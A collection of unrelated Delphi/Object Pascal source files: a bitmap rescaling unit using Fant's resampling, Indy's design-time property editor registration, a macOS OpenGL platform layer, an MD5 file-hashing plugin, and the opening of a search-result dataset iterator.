{$ENDIF}
end;
end. |
unit Rescaler;
interface
uses
Graphics;
function Rescale(Source, Destination: TBitmap; NearestFit: Boolean): Boolean;
// Will rescale the Source image and put the rescaled version into the Destination
// bitmap. If NearestFit is set to True, this is the same kind of rescaling that TImage.Stretch
// will perform. If it's set to False, the procedure will use a resampling algorithm called
// "Fant's Resampling Algorithm". This algorithm makes sure that instead of just picking single
// pixels and either skipping some or duplicating other to make the image smaller or larger
// all pixels contribute to the image and thus makes a much better end result, albeit a little
// slower than the nearest fit algorithm (stretchdraw).
function Resize(Bitmap: TBitmap; NewWidth, NewHeight: Integer; NearestFit: Boolean): Boolean;
// Will effectively call Rescale above with Source=Destination (not quite, but that's effect),
// and resize the Bitmap variable in-place. That means that if this function returns True, the
// Bitmap object will have the new width and height and its contents will have been rescaled to
// match (not cropped)
function Zoom(Bitmap: TBitmap; Factor: Integer; NearestFit: Boolean): Boolean;
// Will just call Resize with the width and height of Bitmap multiplied with the factor
implementation
uses
Classes;
procedure ResampleLine(SourcePtr: PAnsiChar; SourceWidth: Integer; DestPtr: PAnsiChar; DestWidth, ChannelCount: Integer);
var
Scale: Extended;
Insfac: Extended;
Outseg: Extended;
Inseg: Extended;
InvInseg: Extended;
Accumulator: array[0..3] of Extended;
Intensity: array[0..3] of Extended;
ix, ox: Integer;
OldIX: Integer;
Channel: Integer;
P: PAnsiChar;
begin
Scale := DestWidth / SourceWidth;
Insfac := 1 / Scale;
Outseg := Insfac;
Inseg := 1.0;
for Channel := 0 to 3 do
Accumulator[Channel] := 0.0;
ix := 0;
ox := 0;
OldIX := -1;
while (ox < DestWidth) do
begin
if (OldIX <> ix) then
begin
P := SourcePtr + ix * ChannelCount;
InvInseg := 1.0 - Inseg;
for Channel := 0 to ChannelCount - 1 do
Intensity[Channel] := (Inseg * Ord(P[Channel])) + (InvInseg * (Ord(P[Channel + ChannelCount])));
OldIX := ix;
end; // if
if (Inseg < Outseg) then
begin
for Channel := 0 to ChannelCount - 1 do
Accumulator[Channel] := Accumulator[Channel] + (Intensity[Channel] * Inseg);
Outseg := Outseg - Inseg;
Inseg := 1.0;
Inc(ix);
end // if
else begin
P := Destptr + ox * ChannelCount;
for Channel := 0 to ChannelCount - 1 do
begin
Accumulator[Channel] := Accumulator[Channel] + (Intensity[Channel] * Outseg);
P[Channel] := AnsiChar(Trunc(Accumulator[Channel] * Scale));
Accumulator[Channel] := 0.0;
end; // for Channel
Inseg := Inseg - Outseg;
Outseg := Insfac;
Inc(ox);
end; // else
end; // while
end; // procedure RescaleLine
function Resample(Source, Destination: TBitmap): Boolean;
function ResampleWidth(Source, Destination: TBitmap): Boolean;
var
y: Integer;
ChannelCount: Integer;
Line: PAnsiChar;
begin
ChannelCount := 3 + Ord(Source.PixelFormat = pf32bit);
GetMem(Line, (Source.Width + 1) * ChannelCount);
for y := 0 to Source.Height - 1 do
begin
Move(Source.ScanLine[y]^, Line^, Source.Width * ChannelCount);
// Duplicate last pixel
Move((Line + (Source.Width - 1) * ChannelCount)^, (Line + Source.Width * ChannelCount)^,
ChannelCount);
ResampleLine(
Line, Source.Width,
Destination.ScanLine[y], Destination.Width,
ChannelCount);
end; // for y
FreeMem(Line, (Source.Width + 1) * ChannelCount);
Result := True;
end;
function ResampleHeight(Source, Destination: TBitmap): Boolean;
var
SourceLine: PAnsiChar;
DestinationLine: PAnsiChar;
P: PAnsiChar;
x, y, yy: Integer;
ChannelCount: Integer;
begin
ChannelCount := 3 + Ord(Source.PixelFormat = pf32bit);
GetMem(SourceLine, (Source.Height + 1) * ChannelCount);
GetMem(DestinationLine, Destination.Height * ChannelCount);
for x := 0 to Source.Width - 1 do
begin
// Transform the source row to a line
P := SourceLine;
yy := 0;
for y := 0 to Source.Height do
begin
// Duplicate last line
if (y < Source.Height) then
yy := y;
Move((PAnsiChar(Source.ScanLine[yy]) + x * ChannelCount)^, P^, ChannelCount);
Inc(P, ChannelCount);
end; // for y
ResampleLine(SourceLine, Source.Height, DestinationLine, Destination.Height, ChannelCount);
// Transform the line to a destination row
P := DestinationLine;
for y := 0 to Destination.Height - 1 do
begin
Move(P^, (PAnsiChar(Destination.ScanLine[y]) + x * ChannelCount)^, ChannelCount);
Inc(P, ChannelCount);
end; // for y
end; // for x
FreeMem(DestinationLine, Destination.Width * ChannelCount);
FreeMem(SourceLine, (Source.Width + 1) * ChannelCount);
Result := True;
end;
function ResampleSize(Source, Destination: TBitmap): Boolean;
var
Temp: TBitmap;
begin
Temp := TBitmap.Create;
Temp.Width := Destination.Width;
Temp.Height := Source.Height;
Temp.PixelFormat := Source.PixelFormat;
if not ResampleWidth(Source, Temp) then
begin
Temp.Free;
Result := False;
Exit;
end; // if not ok
if not ResampleHeight(Temp, Destination) then
begin
Temp.Free;
Result := False;
Exit;
end; // if not ok
Temp.Free;
Result := True;
end;
begin
if (Source.Width = Destination.Width) and (Source.Height = Destination.Height) then
begin
Destination.Assign(Source);
Result := True;
Exit;
end; // if same size
if not (Source.PixelFormat in [pf24bit, pf32bit]) then
Source.PixelFormat := pf32bit;
Destination.PixelFormat := Source.PixelFormat;
if (Source.Width = Destination.Width) then
Result := ResampleHeight(Source, Destination)
else if (Source.Height = Destination.Height) then
Result := ResampleWidth(Source, Destination)
else
Result := ResampleSize(Source, Destination);
end; // function Resample
function DoRescale(Source, Destination: TBitmap): Boolean;
begin
Destination.Canvas.StretchDraw(Rect(0, 0, Destination.Width, Destination.Height), Source);
Result := True;
end; // function DoRescale
function Rescale(Source, Destination: TBitmap; NearestFit: Boolean): Boolean;
begin
if NearestFit then
Result := DoRescale(Source, Destination)
else
Result := Resample(Source, Destination);
end; // function Rescale
function Resize(Bitmap: TBitmap; NewWidth, NewHeight: Integer; NearestFit: Boolean): Boolean;
var
TempBitmap: TBitmap;
begin
// Create a temporary bitmap of the needed size
TempBitmap := TBitmap.Create;
TempBitmap.Width := NewWidth;
TempBitmap.Height := NewHeight;
TempBitmap.PixelFormat := Bitmap.PixelFormat;
// Now do the rescaling
Result := Rescale(Bitmap, TempBitmap, NearestFit);
// Assign the new bitmap if all went ok
if Result then
Bitmap.Assign(TempBitmap);
// And free up the temporary bitmap object
TempBitmap.Free;
end; // function resize
function Zoom(Bitmap: TBitmap; Factor: Integer; NearestFit: Boolean): Boolean;
begin
Result := Resize(Bitmap, Bitmap.Width * Factor, Bitmap.Height * Factor, NearestFit);
end; // function Zoom
end. // unit Rescaler
|
{
$Project$
$Workfile$
$Revision$
$DateUTC$
$Id$
This file is part of the Indy (Internet Direct) project, and is offered
under the dual-licensing agreement described on the Indy website.
(http://www.indyproject.org/)
Copyright:
(c) 1993-2005, Chad Z. Hower and the Indy Pit Crew. All rights reserved.
}
{
$Log$
}
{
Rev 1.4 12/10/2004 15:36:40 HHariri
Fix so it works with D8 too
Rev 1.3 9/5/2004 2:08:14 PM JPMugaas
Should work in D9 NET.
Rev 1.2 2/3/2004 11:42:52 AM JPMugaas
Fixed for new design.
Rev 1.1 2/1/2004 2:44:20 AM JPMugaas
Bindings editor should be fully functional including IPv6 support.
Rev 1.0 11/13/2002 08:41:18 AM JPMugaas
}
unit IdCoreDsnRegister;
interface
{$I IdCompilerDefines.inc}
uses
{$IFDEF DOTNET}
Borland.Vcl.Design.DesignIntF,
Borland.Vcl.Design.DesignEditors
{$ELSE}
{$IFDEF FPC}
PropEdits,
ComponentEditors
{$ELSE}
{$IFDEF VCL_6_OR_ABOVE}
DesignIntf,
DesignEditors
{$ELSE}
Dsgnintf
{$ENDIF}
{$ENDIF}
{$ENDIF}
;
type
{$IFDEF FPC}
TIdBaseComponentEditor = class(TDefaultComponentEditor)
{$ELSE}
TIdBaseComponentEditor = class(TDefaultEditor)
{$ENDIF}
public
procedure ExecuteVerb(Index: Integer); override;
function GetVerb(Index: Integer): string; override;
function GetVerbCount: Integer; override;
end;
{$IFDEF FPC}
TIdPropEdBinding = class(TPropertyEditor)
protected
FValue : String;
property Value : String read FValue write FValue;
{$ELSE}
TIdPropEdBinding = class(TClassProperty)
{$ENDIF}
public
procedure Edit; override;
function GetAttributes: TPropertyAttributes; override;
function GetValue: string; override;
procedure SetValue(const Value: string); override;
end;
// Procs
procedure Register;
implementation
uses
Classes,
{$IFDEF WIDGET_WINFORMS}
IdDsnPropEdBindingNET,
IdAboutDotNET,
{$ELSE}
IdDsnPropEdBindingVCL,
IdAboutVCL,
{$ENDIF}
IdDsnCoreResourceStrings,
IdBaseComponent,
IdComponent,
IdGlobal,
IdStack,
IdSocketHandle;
{
Design Note: It turns out that in DotNET, there are no services file functions and
IdPorts does not work as expected in DotNET. It is probably possible to read the
services file ourselves but that creates some portability problems as the placement
is different in every operating system.
e.g.
Linux and Unix-like systems - /etc
Windows 95, 98, and ME - c:\windows
Windows NT systems - c:\winnt\system32\drivers\etc
Thus, it will undercut whatever benefit we could get with DotNET.
About the best I could think of is to use an edit control because
we can't offer anything from the services file in DotNET.
TODO: Maybe there might be a way to find the location in a more elegant
manner than what I described.
}
type
{$IFDEF WIDGET_WINFORMS}
TIdPropEdBindingEntry = TIdDsnPropEdBindingNET;
{$ELSE}
TIdPropEdBindingEntry = TIdDsnPropEdBindingVCL;
{$ENDIF}
procedure ShowAboutBox(const AProductName, AProductVersion : String);
begin
TfrmAbout.ShowAboutBox(AProductName, AProductVersion);
end;
procedure TIdPropEdBinding.Edit;
var
pSockets: TIdSocketHandles;
begin
inherited Edit;
{$IFNDEF DOTNET}
pSockets := TIdSocketHandles(
{$IFDEF CPU64}
GetInt64Value
{$ELSE}
GetOrdValue
{$ENDIF}
);
{$ELSE}
pSockets := GetObjValue as TIdSocketHandles;
{$ENDIF}
with TIdPropEdBindingEntry.Create do
try
Caption := TComponent(GetComponent(0)).Name;
DefaultPort := pSockets.DefaultPort;
Value := GetListValues(pSockets);
SetList(Value);
if Execute then
begin
Value := GetList;
FillHandleList(Value, pSockets);
end;
finally
Free;
end;
end;
function TIdPropEdBinding.GetAttributes: TPropertyAttributes;
begin
Result := inherited GetAttributes + [paDialog];
end;
function TIdPropEdBinding.GetValue: string;
var
pSockets: TIdSocketHandles;
begin
{$IFNDEF DOTNET}
pSockets := TIdSocketHandles(
{$IFDEF CPU64}
GetInt64Value
{$ELSE}
GetOrdValue
{$ENDIF}
);
{$ELSE}
pSockets := GetObjValue as TIdSocketHandles;
{$ENDIF}
Result := GetListValues(pSockets);
end;
procedure TIdPropEdBinding.SetValue(const Value: string);
var
pSockets: TIdSocketHandles;
begin
inherited SetValue(Value);
{$IFNDEF DOTNET}
pSockets := TIdSocketHandles(
{$IFDEF CPU64}
GetInt64Value
{$ELSE}
GetOrdValue
{$ENDIF}
);
{$ELSE}
pSockets := GetObjValue as TIdSocketHandles;
{$ENDIF}
pSockets.BeginUpdate;
try
FillHandleList(Value, pSockets);
finally
pSockets.EndUpdate;
end;
end;
{ TIdBaseComponentEditor }
procedure TIdBaseComponentEditor.ExecuteVerb(Index: Integer);
begin
case Index of
0 : ShowAboutBox(RSAAboutBoxCompName, gsIdVersion);
end;
end;
function TIdBaseComponentEditor.GetVerb(Index: Integer): string;
begin
case Index of
0: Result := IndyFormat(RSAAboutMenuItemName, [gsIdVersion]);
end;
end;
function TIdBaseComponentEditor.GetVerbCount: Integer;
begin
Result := 1;
end;
procedure Register;
begin
RegisterPropertyEditor(TypeInfo(TIdSocketHandles), nil, '', TIdPropEdBinding); {Do not Localize}
RegisterComponentEditor(TIdBaseComponent, TIdBaseComponentEditor);
end;
end.
|
unit Sample.Platform.Mac;
{$INCLUDE 'Sample.inc'}
interface
uses
System.Classes,
Macapi.ObjectiveC,
Macapi.CocoaTypes,
Macapi.Foundation,
Macapi.AppKit,
Sample.Platform;
type
{ Implements the macOS NSApplicationDelegate protocol to get notified of
certain application events. }
TApplicationDelegate = class(TOCLocal, NSApplicationDelegate)
public
{ NSApplicationDelegate }
{ Gets called when macOS requests to terminate the app. In this event, we
set our Terminated flag to True to break out of the run loop so the app
will terminated. We return NSTerminateCancel to prevent macOS from
terminating the app, because we want to cleanup before we terminate
manually. }
function applicationShouldTerminate(Notification: NSNotification): NSInteger; cdecl;
{ Gets called when the app is about to terminate.
We don't care about this notification. }
procedure applicationWillTerminate(Notification: NSNotification); cdecl;
{ Gets called when the app just started.
We don't care about this notification. }
procedure applicationDidFinishLaunching(Notification: NSNotification); cdecl;
{ Allows the delegate to supply a dock menu for the application dynamically.
We don't need this. }
function applicationDockMenu(sender: NSApplication): NSMenu; cdecl;
procedure applicationDidHide(Notification: NSNotification); cdecl;
procedure applicationDidUnhide(Notification: NSNotification); cdecl;
end;
type
{ Implements the macOS NSWindowDelegate protocol to get notified of certain
window events. We don't care about most of these events, so must methods
are empty. }
TWindowDelegate = class(TOCLocal, NSWindowDelegate)
private
FWindow: NSWindow;
public
{ NSWindowDelegate }
{ Is called when the user attemts to close the window. We terminate the
app in here and return False so macOS doesn't close it for us. }
function windowShouldClose(Sender: Pointer {id}): Boolean; cdecl;
procedure windowWillClose(notification: NSNotification); cdecl;
{ Is called when the window receives focus.
We use this to post Resume events to our event queue. }
procedure windowDidBecomeKey(notification: NSNotification); cdecl;
{ Is called when the window loses focus.
We use this to post Suspend events to our event queue. }
procedure windowDidResignKey(notification: NSNotification); cdecl;
{ Is called when the window is resized.
We use this to resize the render surface. }
procedure windowDidResize(notification: NSNotification); cdecl;
procedure windowDidMove(notification: NSNotification); cdecl;
procedure windowDidMiniaturize(notification: NSNotification); cdecl;
procedure windowDidDeminiaturize(notification: NSNotification); cdecl;
procedure windowDidEnterFullScreen(notification: NSNotification); cdecl;
procedure windowDidExitFullScreen(notification: NSNotification); cdecl;
procedure windowDidChangeBackingProperties(notification: NSNotification); cdecl; // OS X 10.7+
public
constructor Create(const AWindow: NSWindow);
end;
type
{ Implements macOS-specific functionality. }
TPlatformMac = class(TPlatformBase)
{$REGION 'Internal Declarations'}
private class var
FApplication: NSApplication;
FAppDelegate: NSApplicationDelegate;
FAppDelegateObj: TApplicationDelegate;
FMenuBar: NSMenu;
FWindow: NSWindow;
FWindowDelegate: NSWindowDelegate;
FView: NSOpenGLView;
FContext: NSOpenGLContext;
FPixelFormat: NSOpenGLPixelFormat;
FContentRect: NSRect;
FDistantPast: NSDate;
FDefaultRunLoopMode: NSString;
FKeyMapping: array [0..255] of Byte;
FMouseX: Single;
FMouseY: Single;
private
class procedure SetupApp; static;
class procedure SetupMenu; static;
class procedure SetupWindow; static;
class procedure SetupView; static;
class procedure SetupOpenGLContext; static;
class procedure SetupKeyTranslations; static;
class procedure RunLoop; static;
class procedure Shutdown; static;
private
class function PeekEvent: NSEvent; inline; static;
class function DispatchEvent(const AEvent: NSEvent): Boolean; static;
class function HandleKeyEvent(const AEvent: NSEvent): Boolean; static;
class function GetShiftState(const AFlags: Cardinal): TShiftState; static;
class procedure GetMousePos; static;
{$ENDREGION 'Internal Declarations'}
protected
class procedure DoRun; override;
end;
implementation
uses
System.UITypes,
System.SysUtils,
System.Math,
Macapi.ObjCRuntime,
Macapi.Helpers,
Macapi.OpenGL,
Neslib.Ooogles;
{ TPlatformMac }
class function TPlatformMac.DispatchEvent(const AEvent: NSEvent): Boolean;
begin
if (AEvent = nil) then
Exit(False);
{ This method gets called for each macOS message.
For messages we are interested in, we convert these to cross-platform
events. }
case AEvent.&type of
NSKeyDown,
NSKeyUp:
if (HandleKeyEvent(AEvent)) then
{ Returning False means that we take care of the key (instead of the
default behavior) }
Exit(False);
NSMouseMoved,
NSLeftMouseDragged,
NSRightMouseDragged,
NSOtherMouseDragged:
begin
GetMousePos;
TPlatformMac.App.MouseMove(GetShiftState(AEvent.modifierFlags), FMouseX, FMouseY);
end;
NSLeftMouseDown:
TPlatformMac.App.MouseDown(TMouseButton.mbLeft, GetShiftState(AEvent.modifierFlags), FMouseX, FMouseY);
NSLeftMouseUp:
TPlatformMac.App.MouseUp(TMouseButton.mbLeft, GetShiftState(AEvent.modifierFlags), FMouseX, FMouseY);
NSRightMouseDown:
TPlatformMac.App.MouseDown(TMouseButton.mbRight, GetShiftState(AEvent.modifierFlags), FMouseX, FMouseY);
NSRightMouseUp:
TPlatformMac.App.MouseUp(TMouseButton.mbRight, GetShiftState(AEvent.modifierFlags), FMouseX, FMouseY);
NSOtherMouseDown:
TPlatformMac.App.MouseDown(TMouseButton.mbMiddle, GetShiftState(AEvent.modifierFlags), FMouseX, FMouseY);
NSOtherMouseUp:
TPlatformMac.App.MouseUp(TMouseButton.mbMiddle, GetShiftState(AEvent.modifierFlags), FMouseX, FMouseY);
NSScrollWheel:
TPlatformMac.App.MouseWheel(GetShiftState(AEvent.modifierFlags), Trunc(AEvent.deltaY));
end;
FApplication.sendEvent(AEvent);
FApplication.updateWindows;
Result := True;
end;
class procedure TPlatformMac.DoRun;
begin
SetupApp;
SetupMenu;
SetupWindow;
SetupView;
SetupOpenGLContext;
SetupKeyTranslations;
App.Initialize;
App.Resize(App.Width, App.Height);
RunLoop;
App.Shutdown;
Shutdown;
end;
class procedure TPlatformMac.GetMousePos;
var
Location: NSPoint;
X, Y: Single;
begin
Location := FWindow.mouseLocationOutsideOfEventStream;
X := Location.x;
Y := FContentRect.size.height - Location.y;
FMouseX := EnsureRange(X, 0, FContentRect.size.width);
FMouseY := EnsureRange(Y, 0, FContentRect.size.height);
end;
class function TPlatformMac.GetShiftState(const AFlags: Cardinal): TShiftState;
begin
{ Converts macOS event modifier flags to TShiftState set. }
Result := [];
if ((AFlags and NSShiftKeyMask) <> 0) then
Include(Result, ssShift);
if ((AFlags and NSAlternateKeyMask) <> 0) then
Include(Result, ssAlt);
if ((AFlags and NSControlKeyMask) <> 0) then
Include(Result, ssCtrl);
if ((AFlags and NSCommandKeyMask) <> 0) then
Include(Result, ssCommand);
end;
class function TPlatformMac.HandleKeyEvent(const AEvent: NSEvent): Boolean;
var
Chars: NSString;
KeyCode, Key: Integer;
Shift: TShiftState;
begin
Chars := AEvent.charactersIgnoringModifiers;
if (Chars.length = 0) then
Exit(False);
KeyCode := Chars.characterAtIndex(0);
Shift := GetShiftState(AEvent.modifierFlags);
if (KeyCode < 256) then
Key := FKeyMapping[KeyCode]
else case KeyCode of
NSF1FunctionKey : Key := vkF1;
NSF2FunctionKey : Key := vkF2;
NSF3FunctionKey : Key := vkF3;
NSF4FunctionKey : Key := vkF4;
NSF5FunctionKey : Key := vkF5;
NSF6FunctionKey : Key := vkF6;
NSF7FunctionKey : Key := vkF7;
NSF8FunctionKey : Key := vkF8;
NSF9FunctionKey : Key := vkF9;
NSF10FunctionKey : Key := vkF10;
NSF11FunctionKey : Key := vkF11;
NSF12FunctionKey : Key := vkF12;
NSLeftArrowFunctionKey : Key := vkLeft;
NSRightArrowFunctionKey : Key := vkRight;
NSUpArrowFunctionKey : Key := vkUp;
NSDownArrowFunctionKey : Key := vkDown;
NSPageUpFunctionKey : Key := vkPrior;
NSPageDownFunctionKey : Key := vkNext;
NSHomeFunctionKey : Key := vkHome;
NSEndFunctionKey : Key := vkEnd;
NSPrintScreenFunctionKey: Key := vkPrint;
else
Exit(False);
end;
if (AEvent.&type = NSKeyDown) then
App.KeyDown(Key, Shift)
else
App.KeyUp(Key, Shift);
Result := True;
end;
class function TPlatformMac.PeekEvent: NSEvent;
begin
{ Check the macOS event queue for an event that needs to be handled. }
Result := FApplication.nextEventMatchingMask(NSAnyEventMask, FDistantPast, FDefaultRunLoopMode, True);
end;
class procedure TPlatformMac.RunLoop;
begin
{ Run the macOS run loop }
StartClock;
while (not Terminated) do
begin
while DispatchEvent(PeekEvent()) do ;
{ Update app and render frame to back buffer }
Update;
{ Swap backbuffer to front to display it }
FContext.flushBuffer;
end;
end;
class procedure TPlatformMac.SetupApp;
begin
{ Cache some commonly used macOS object, so we don't have to load/create them
every time }
FDistantPast := TNSDate.Wrap(TNSDate.OCClass.distantPast);
FDefaultRunLoopMode := NSDefaultRunLoopMode;
{ Create our main NSApplication object and attach or TApplicationDelegate to
it to get notified of app events. }
FApplication := TNSApplication.Wrap(TNSApplication.OCClass.sharedApplication);
FAppDelegateObj := TApplicationDelegate.Create;
FAppDelegate := FAppDelegateObj;
FApplication.setDelegate(FAppDelegate);
FApplication.setActivationPolicy(NSApplicationActivationPolicyRegular);
{ Start the app }
FApplication.activateIgnoringOtherApps(True);
FApplication.finishLaunching;
end;
class procedure TPlatformMac.SetupKeyTranslations;
var
C: Char;
Key: Byte;
begin
FillChar(FKeyMapping, SizeOf(FKeyMapping), 0);
FKeyMapping[27] := vkEscape;
FKeyMapping[10] := vkReturn;
FKeyMapping[9] := vkTab;
FKeyMapping[127] := vkBack;
FKeyMapping[Ord(' ')] := vkSpace;
FKeyMapping[Ord('+')] := vkAdd;
FKeyMapping[Ord('=')] := vkEqual;
FKeyMapping[Ord('_')] := vkSubtract;
FKeyMapping[Ord('-')] := vkSubtract;
FKeyMapping[Ord('~')] := vkTilde;
FKeyMapping[Ord('`')] := vkTilde;
FKeyMapping[Ord(':')] := vkSemicolon;
FKeyMapping[Ord(';')] := vkSemicolon;
FKeyMapping[Ord('"')] := vkQuote;
FKeyMapping[Ord('''')] := vkQuote;
FKeyMapping[Ord('{')] := vkLeftBracket;
FKeyMapping[Ord('[')] := vkLeftBracket;
FKeyMapping[Ord('}')] := vkRightBracket;
FKeyMapping[Ord(']')] := vkRightBracket;
FKeyMapping[Ord('<')] := vkComma;
FKeyMapping[Ord(',')] := vkComma;
FKeyMapping[Ord('>')] := vkPeriod;
FKeyMapping[Ord('.')] := vkPeriod;
FKeyMapping[Ord('?')] := vkSlash;
FKeyMapping[Ord('/')] := vkSlash;
FKeyMapping[Ord('|')] := vkBackslash;
FKeyMapping[Ord('\')] := vkBackslash;
for C := '0' to '9' do
FKeyMapping[Ord(C)] := vk0 + (Ord(C) - Ord('0'));
for C := 'a' to 'z' do
begin
Key := vkA + Ord(C) - Ord('a');
FKeyMapping[Ord(C)] := Key;
FKeyMapping[Ord(C) - 32] := Key;
end;
end;
class procedure TPlatformMac.SetupMenu;
var
QuitMenuItem, AppMenuItem: NSMenuItem;
AppMenu: NSMenu;
begin
{ Add a simple menu with just a "Quit" menu option to terminate the app.
When the user selects the option, it calls the NSApplication.terminate:
method }
QuitMenuItem := TNSMenuItem.Wrap(TNSMenuItem.Alloc.initWithTitle(
StrToNSStr('Quit'), sel_getUid('terminate:'), StrToNSStr('q')));
AppMenu := TNSMenu.Create;
AppMenu.addItem(QuitMenuItem);
AppMenuItem := TNSMenuItem.Create;
AppMenuItem.setSubmenu(AppMenu);
FMenuBar := TNSMenu.Create;
FMenuBar.addItem(AppMenuItem);
FApplication.setMainMenu(FMenuBar);
end;
class procedure TPlatformMac.SetupOpenGLContext;
var
Attributes: TArray<NSOpenGLPixelFormatAttribute>;
begin
Attributes := TArray<NSOpenGLPixelFormatAttribute>.Create(
NSOpenGLPFADoubleBuffer,
NSOpenGLPFADepthSize, 16);
if (TPlatformMac.App.NeedStencilBuffer) then
Attributes := Attributes + [NSOpenGLPFAStencilSize, 8];
Attributes := Attributes + [0];
FPixelFormat := TNSOpenGLPixelFormat.Wrap(TNSOpenGLPixelFormat.Alloc.initWithAttributes(@Attributes[0]));
FContext := TNSOpenGLContext.Wrap(TNSOpenGLContext.Alloc.initWithFormat(FPixelFormat, nil));
FView.setOpenGLContext(FContext);
FContext.makeCurrentContext;
InitOpenGL;
{ Initialize Ooogle to make OpenGL on Windows compatible with OpenGL-ES }
InitOoogles;
end;
class procedure TPlatformMac.SetupView;
var
ContentView: NSView;
R: NSRect;
begin
R.origin.x := 0;
R.origin.y := 0;
R.size.width := FContentRect.size.width;
R.size.height := FContentRect.size.height;
FView := TNSOpenGLView.Wrap(TNSOpenGLView.Alloc.initWithFrame(R, TNSOpenGLView.OCClass.defaultPixelFormat));
if (NSAppKitVersionNumber >= NSAppKitVersionNumber10_7) then
FView.setWantsBestResolutionOpenGLSurface(True);
FView.setAutoresizingMask(NSViewWidthSizable or NSViewHeightSizable);
ContentView := TNSView.Wrap(FWindow.contentView);
ContentView.setAutoresizesSubviews(True);
ContentView.addSubview(FView);
end;
class procedure TPlatformMac.SetupWindow;
const
WINDOW_STYLE = NSTitledWindowMask or NSClosableWindowMask
or NSMiniaturizableWindowMask or NSResizableWindowMask;
var
Screen: NSScreen;
ScreenRect, Rect: NSRect;
WindowId: Pointer;
begin
{ Create our main window and center it to the main screen }
Screen := TNSScreen.Wrap(TNSScreen.OCClass.mainScreen);
ScreenRect := Screen.frame;
Rect.origin.x := 0.5 * (ScreenRect.size.width - App.Width);
Rect.origin.y := 0.5 * (ScreenRect.size.height - App.Height);
Rect.size.width := App.Width;
Rect.size.height := App.Height;
WindowId := TNSWindow.Alloc.initWithContentRect(Rect, WINDOW_STYLE,
NSBackingStoreBuffered, False);
FWindow := TNSWindow.Wrap(WindowId);
FWindow.setTitle(StrToNSStr(App.Title));
FWindow.makeKeyAndOrderFront(WindowId);
FWindow.setAcceptsMouseMovedEvents(True);
FWindow.setBackgroundColor(TNSColor.Wrap(TNSColor.OCClass.blackColor));
Rect := FWindow.frame;
FContentRect := FWindow.contentRectForFrameRect(Rect);
{ Create a window delegate to get notified of window events, and attach it
to the window. }
FWindowDelegate := TWindowDelegate.Create(FWindow);
end;
class procedure TPlatformMac.Shutdown;
begin
if (FPixelFormat <> nil) then
begin
FPixelFormat.release;
FPixelFormat := nil;
end;
if (FContext <> nil) then
begin
FContext.release;
FContext := nil;
end;
if (FView <> nil) then
begin
FView.release;
FView := nil;
end;
if (FWindow <> nil) then
begin
FWindow.release;
FWindow := nil;
end;
if (FMenuBar <> nil) then
begin
FMenuBar.release;
FMenuBar := nil;
end;
end;
{ TApplicationDelegate }
procedure TApplicationDelegate.applicationDidFinishLaunching(
Notification: NSNotification);
begin
{ Not interested }
end;
procedure TApplicationDelegate.applicationDidHide(Notification: NSNotification);
begin
{ Not interested }
end;
procedure TApplicationDelegate.applicationDidUnhide(
Notification: NSNotification);
begin
{ Not interested }
end;
function TApplicationDelegate.applicationDockMenu(
sender: NSApplication): NSMenu;
begin
{ Not interested }
end;
function TApplicationDelegate.applicationShouldTerminate(
Notification: NSNotification): NSInteger;
begin
TPlatformMac.Terminated := True;
Result := NSTerminateCancel;
end;
procedure TApplicationDelegate.applicationWillTerminate(
Notification: NSNotification);
begin
{ Not interested }
end;
{ TWindowDelegate }
constructor TWindowDelegate.Create(const AWindow: NSWindow);
begin
inherited Create;
FWindow := AWindow;
FWindow.setDelegate(Self);
end;
procedure TWindowDelegate.windowDidBecomeKey(notification: NSNotification);
begin
{ Not interested }
end;
procedure TWindowDelegate.windowDidChangeBackingProperties(
notification: NSNotification);
begin
{ Not interested }
end;
procedure TWindowDelegate.windowDidDeminiaturize(notification: NSNotification);
begin
{ Not interested }
end;
procedure TWindowDelegate.windowDidEnterFullScreen(
notification: NSNotification);
begin
{ Not interested }
end;
procedure TWindowDelegate.windowDidExitFullScreen(notification: NSNotification);
begin
{ Not interested }
end;
procedure TWindowDelegate.windowDidMiniaturize(notification: NSNotification);
begin
{ Not interested }
end;
procedure TWindowDelegate.windowDidMove(notification: NSNotification);
begin
{ Not interested }
end;
procedure TWindowDelegate.windowDidResignKey(notification: NSNotification);
begin
{ Not interested }
end;
procedure TWindowDelegate.windowDidResize(notification: NSNotification);
begin
{ Not interested }
end;
function TWindowDelegate.windowShouldClose(Sender: Pointer): Boolean;
begin
Assert(Assigned(FWindow));
FWindow.setDelegate(nil);
TPlatformMac.FApplication.terminate(Sender);
Result := False;
end;
procedure TWindowDelegate.windowWillClose(notification: NSNotification);
begin
{ Not interested }
end;
end.
|
namespace RemObjects.Train.API;
interface
uses
RemObjects.Train,
System.Threading,
System.Text,
System.IO,
System.Security.Cryptography,
RemObjects.Script.EcmaScript;
type
[PluginRegistration]
MD5PlugIn = public class(IPluginRegistration)
private
protected
public
method &Register(aServices: IApiRegistrationServices);
[WrapAs('md5.createFromFile')]
class method GetMd5HashFromFile(aServices: IApiRegistrationServices; ec: ExecutionContext; aFilename: String): String;
end;
implementation
method MD5PlugIn.&Register(aServices: IApiRegistrationServices);
begin
aServices.RegisterObjectValue('md5').AddValue('createFromFile', RemObjects.Train.MUtilities.SimpleFunction(aServices.Engine, typeOf(MD5PlugIn), 'GetMd5HashFromFile'));
end;
class method MD5PlugIn.GetMd5HashFromFile(aServices: IApiRegistrationServices; ec: ExecutionContext; aFilename: String): String;
begin
aFilename := aServices.ResolveWithBase(ec, aFilename);
using file := new FileStream(aFilename, FileMode.Open) do
begin
var md := new MD5CryptoServiceProvider();
var retVal := md.ComputeHash(file);
var sb := new StringBuilder();
for i: Int32 := 0 to retVal.Length - 1 do
begin
sb.Append(retVal[i].ToString('x2'))
end;
exit sb.ToString();
end;
end;
end. |
unit SearchResult;
interface
uses
Classes, SearchOption, DB, DBManager, DataFileSaver;
type
TSearchResultSet = class(TInterfacedObject, IDataSetIterator)
private
FDataSetList: TList;
FNames: TStringList;
FIterPointer: Integer;
FDBManager: TAbsDBManager;
protected
procedure Init;
public
constructor Create(dbm: TAbsDBManager); overload;
constructor Create(searchOpt: TSearchOption; dbm: TAbsDBManager); overload;
destructor Destroy; override;
procedure Search(searchOpt: TSearchOption);
function HasNext: Boolean;
function CurData: TDataSet;
procedure MoveFirst;
function MoveNext: Boolean;
function Count: Integer;
function CurName: String;
procedure Clear;
end;
TSearchResultEvent = procedure(Sender: TObject; schResult: IDataSetIterator) of object;
implementation
uses
MsSqlDBManager, FireBirdDBManager, Winapi.Windows, System.SysUtils;
{ TSearchResultSet }
procedure TSearchResultSet.Clear;
begin
FDataSetList.Clear;
FNames.Clear;
MoveFirst;
end;
function TSearchResultSet.Count: Integer;
begin
result := FDataSetList.Count;
end;
